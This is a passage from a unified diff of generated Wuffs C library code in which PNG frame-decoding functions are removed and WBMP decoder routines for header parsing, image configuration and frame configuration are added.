(wuffs_wbmp__decoder*)(calloc(1, sizeof(wuffs_wbmp__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_wbmp__decoder__initialize( ++ x, sizeof(wuffs_wbmp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; + } ++ return x; ++} + +- goto suspend; +- suspend: +- self->private_impl.p_decode_trns[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_trns[0].v_i = v_i; +- self->private_data.s_decode_trns[0].v_n = v_n; ++size_t ++sizeof__wuffs_wbmp__decoder(void) { ++ return sizeof(wuffs_wbmp__decoder); ++} + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++// ---------------- Function Implementations ++ ++// -------- func wbmp.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_wbmp__decoder__get_quirk( ++ const wuffs_wbmp__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- return status; ++ return 0u; + } + +-// -------- func png.decoder.decode_frame_config ++// -------- func wbmp.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_png__decoder__decode_frame_config( +- wuffs_png__decoder* self, +- wuffs_base__frame_config* a_dst, ++wuffs_wbmp__decoder__set_quirk( ++ wuffs_wbmp__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func wbmp.decoder.decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__decode_image_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); +@@ -56757,7 +70789,7 @@ wuffs_png__decoder__decode_frame_config( + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { ++ (self->private_impl.active_coroutine != 1)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } +@@ -56766,17 +70798,17 @@ wuffs_png__decoder__decode_frame_config( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_png__decoder__do_decode_frame_config(self, a_dst, a_src); ++ wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_image_config(self, a_dst, a_src); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); + goto exit; + } + status = v_status; +@@ -56784,14 +70816,14 @@ wuffs_png__decoder__decode_frame_config( + } + + ok: +- self->private_impl.p_decode_frame_config[0] = 0; ++ self->private_impl.p_decode_image_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + + goto exit; + exit: +@@ -56801,17 +70833,19 @@ wuffs_png__decoder__decode_frame_config( + return status; + } + +-// -------- func png.decoder.do_decode_frame_config ++// -------- func wbmp.decoder.do_decode_image_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__do_decode_frame_config( +- wuffs_png__decoder* self, +- wuffs_base__frame_config* a_dst, ++wuffs_wbmp__decoder__do_decode_image_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_checksum_have = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_i = 0; ++ uint32_t v_p = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -56824,392 +70858,88 @@ wuffs_png__decoder__do_decode_frame_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ if (coro_susp_point) { ++ v_i = self->private_data.s_do_decode_image_config.v_i; ++ v_p = self->private_data.s_do_decode_image_config.v_p; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_call_sequence & 16u) != 0u) { ++ if (self->private_impl.f_call_sequence != 0u) { + status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); + goto exit; +- } else if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_png__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; +- } +- } else if (self->private_impl.f_call_sequence == 64u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_png__decoder__skip_frame(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } +- if (self->private_impl.f_metadata_fourcc != 0u) { +- self->private_impl.f_call_sequence = 48u; +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; + } +- if (self->private_impl.f_num_decoded_frame_configs_value == 0u) { +- self->private_impl.f_frame_rect_x0 = self->private_impl.f_first_rect_x0; +- self->private_impl.f_frame_rect_y0 = self->private_impl.f_first_rect_y0; +- self->private_impl.f_frame_rect_x1 = self->private_impl.f_first_rect_x1; +- self->private_impl.f_frame_rect_y1 = self->private_impl.f_first_rect_y1; +- self->private_impl.f_frame_config_io_position = self->private_impl.f_first_config_io_position; +- self->private_impl.f_frame_duration = self->private_impl.f_first_duration; +- self->private_impl.f_frame_disposal = self->private_impl.f_first_disposal; +- self->private_impl.f_frame_overwrite_instead_of_blend = self->private_impl.f_first_overwrite_instead_of_blend; +- } else { +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_frame_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_frame_config[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- self->private_impl.f_chunk_length = t_0; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_frame_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_frame_config[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; +- } +- } +- self->private_impl.f_chunk_type = t_1; +- } +- if (self->private_impl.f_chunk_type == 1145980233u) { +- if (self->private_impl.f_chunk_length != 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_frame_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_frame_config[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; +- if (num_bits_2 == 24) { +- t_2 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)) << 56; +- } +- } +- v_checksum_have = t_2; +- } +- if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != 2187346606u)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); +- goto exit; +- } +- self->private_impl.f_call_sequence = 96u; +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } else if (self->private_impl.f_chunk_type == 1413571686u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } else if (self->private_impl.f_chunk_type == 1280598886u) { +- self->private_impl.f_frame_config_io_position = ((uint64_t)(wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) - 8u)); +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- status = wuffs_png__decoder__decode_fctl(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_data.s_do_decode_frame_config[0].scratch = 4u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- if (self->private_data.s_do_decode_frame_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_frame_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_frame_config[0].scratch; +- break; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- status = wuffs_png__decoder__decode_other_chunk(self, a_src, true); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- if (self->private_impl.f_metadata_fourcc != 0u) { +- self->private_impl.f_call_sequence = 48u; +- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); +- goto ok; +- } +- self->private_data.s_do_decode_frame_config[0].scratch = 4u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); +- if (self->private_data.s_do_decode_frame_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_frame_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; ++ v_i = 0u; ++ while (v_i < 2u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- iop_a_src += self->private_data.s_do_decode_frame_config[0].scratch; +- self->private_impl.f_chunk_length = 0u; ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } +- } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- self->private_impl.f_frame_rect_x0, +- self->private_impl.f_frame_rect_y0, +- self->private_impl.f_frame_rect_x1, +- self->private_impl.f_frame_rect_y1), +- ((wuffs_base__flicks)(self->private_impl.f_frame_duration)), +- ((uint64_t)(self->private_impl.f_num_decoded_frame_configs_value)), +- self->private_impl.f_frame_config_io_position, +- self->private_impl.f_frame_disposal, +- ((self->private_impl.f_color_type <= 3u) && ! self->private_impl.f_seen_trns), +- self->private_impl.f_frame_overwrite_instead_of_blend, +- 0u); +- } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frame_configs_value, 1u); +- self->private_impl.f_call_sequence = 64u; +- +- ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func png.decoder.skip_frame +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__skip_frame( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_seq_num = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_skip_frame[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- self->private_impl.f_chunk_type_array[0u] = 0u; +- self->private_impl.f_chunk_type_array[1u] = 0u; +- self->private_impl.f_chunk_type_array[2u] = 0u; +- self->private_impl.f_chunk_type_array[3u] = 0u; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; ++ if (v_c8 != 0u) { ++ status = wuffs_base__make_status(wuffs_wbmp__error__bad_header); ++ goto exit; + } +- self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); +- if (self->private_impl.f_chunk_type == 1413563465u) { +- if (self->private_impl.f_chunk_type_array[0u] == 102u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_type_array[0u] = 73u; +- self->private_impl.f_chunk_type_array[1u] = 68u; +- self->private_impl.f_chunk_type_array[2u] = 65u; +- self->private_impl.f_chunk_type_array[3u] = 84u; +- } else if (self->private_impl.f_chunk_type == 1413571686u) { +- if (self->private_impl.f_chunk_type_array[0u] == 73u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_type_array[0u] = 102u; +- self->private_impl.f_chunk_type_array[1u] = 100u; +- self->private_impl.f_chunk_type_array[2u] = 65u; +- self->private_impl.f_chunk_type_array[3u] = 84u; +- if (self->private_impl.f_chunk_length < 4u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 4u; +- iop_a_src += 8u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 2u) { ++ v_p = 0u; ++ while (true) { + { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_skip_frame[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_skip_frame[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } +- v_seq_num = t_0; ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; + } +- if (v_seq_num != self->private_impl.f_next_animation_seq_num) { +- status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); +- goto exit; +- } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); ++ v_p |= ((uint32_t)(((uint8_t)(v_c8 & 127u)))); ++ if (((uint8_t)(v_c8 >> 7u)) == 0u) { ++ break; ++ } else if (v_p > 131071u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); + goto exit; + } +- self->private_impl.f_next_animation_seq_num += 1u; +- self->private_data.s_skip_frame[0].scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 4u); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (self->private_data.s_skip_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_skip_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_skip_frame[0].scratch; +- self->private_impl.f_chunk_length = 0u; +- continue; +- } else if (self->private_impl.f_chunk_type_array[0u] != 0u) { +- break; +- } else if (self->private_impl.f_chunk_type == 1280598886u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; ++ v_p <<= 7u; + } +- self->private_data.s_skip_frame[0].scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 12u); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (self->private_data.s_skip_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_skip_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ if (v_i == 0u) { ++ self->private_impl.f_width = v_p; ++ } else { ++ self->private_impl.f_height = v_p; + } +- iop_a_src += self->private_data.s_skip_frame[0].scratch; +- self->private_impl.f_chunk_length = 0u; ++ v_i += 1u; ++ } ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ 2198077448u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ true); + } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); + self->private_impl.f_call_sequence = 32u; + ++ goto ok; + ok: +- self->private_impl.p_skip_frame[0] = 0; ++ self->private_impl.p_do_decode_image_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_skip_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_image_config.v_i = v_i; ++ self->private_data.s_do_decode_image_config.v_p = v_p; + + goto exit; + exit: +@@ -57220,17 +70950,14 @@ wuffs_png__decoder__skip_frame( + return status; + } + +-// -------- func png.decoder.decode_frame ++// -------- func wbmp.decoder.decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_png__decoder__decode_frame( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++wuffs_wbmp__decoder__decode_frame_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -57240,12 +70967,12 @@ wuffs_png__decoder__decode_frame( + ? wuffs_base__error__disabled_by_previous_error + : wuffs_base__error__initialize_not_called); + } +- if (!a_dst || !a_src) { ++ if (!a_src) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 3)) { ++ (self->private_impl.active_coroutine != 2)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } +@@ -57254,22 +70981,17 @@ wuffs_png__decoder__decode_frame( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_png__decoder__do_decode_frame(self, +- a_dst, +- a_src, +- a_blend, +- a_workbuf, +- a_opts); ++ wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_frame_config(self, a_dst, a_src); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); + goto exit; + } + status = v_status; +@@ -57277,14 +70999,14 @@ wuffs_png__decoder__decode_frame( + } + + ok: +- self->private_impl.p_decode_frame[0] = 0; ++ self->private_impl.p_decode_frame_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; + + goto exit; + exit: +@@ -57294,24 +71016,16 @@ wuffs_png__decoder__decode_frame( + return status; + } + +-// -------- func png.decoder.do_decode_frame ++// -------- func wbmp.decoder.do_decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__do_decode_frame( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++wuffs_wbmp__decoder__do_decode_frame_config( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_seq_num = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- uint32_t v_pass_width = 0; +- uint32_t v_pass_height = 0; +- + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -57323,210 +71037,62 @@ wuffs_png__decoder__do_decode_frame( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame[0]; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_call_sequence & 16u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } else if (self->private_impl.f_call_sequence >= 96u) { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } else if (self->private_impl.f_call_sequence != 64u) { ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { + if (a_src) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_png__decoder__do_decode_frame_config(self, NULL, a_src); ++ status = wuffs_wbmp__decoder__do_decode_image_config(self, NULL, a_src); + if (a_src) { + iop_a_src = a_src->data.ptr + a_src->meta.ri; + } + if (status.repr) { + goto suspend; + } +- } +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- continue; +- } +- self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); +- if (self->private_impl.f_chunk_type == 1413563465u) { +- self->private_impl.f_chunk_type_array[0u] = 73u; +- self->private_impl.f_chunk_type_array[1u] = 68u; +- self->private_impl.f_chunk_type_array[2u] = 65u; +- self->private_impl.f_chunk_type_array[3u] = 84u; +- iop_a_src += 8u; +- if ( ! self->private_impl.f_ignore_checksum) { +- wuffs_base__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, +- sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); +- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); +- } +- break; +- } else if (self->private_impl.f_chunk_type == 1413571686u) { +- self->private_impl.f_chunk_type_array[0u] = 102u; +- self->private_impl.f_chunk_type_array[1u] = 100u; +- self->private_impl.f_chunk_type_array[2u] = 65u; +- self->private_impl.f_chunk_type_array[3u] = 84u; +- if (self->private_impl.f_chunk_length < 4u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 4u; +- iop_a_src += 8u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_0; +- if 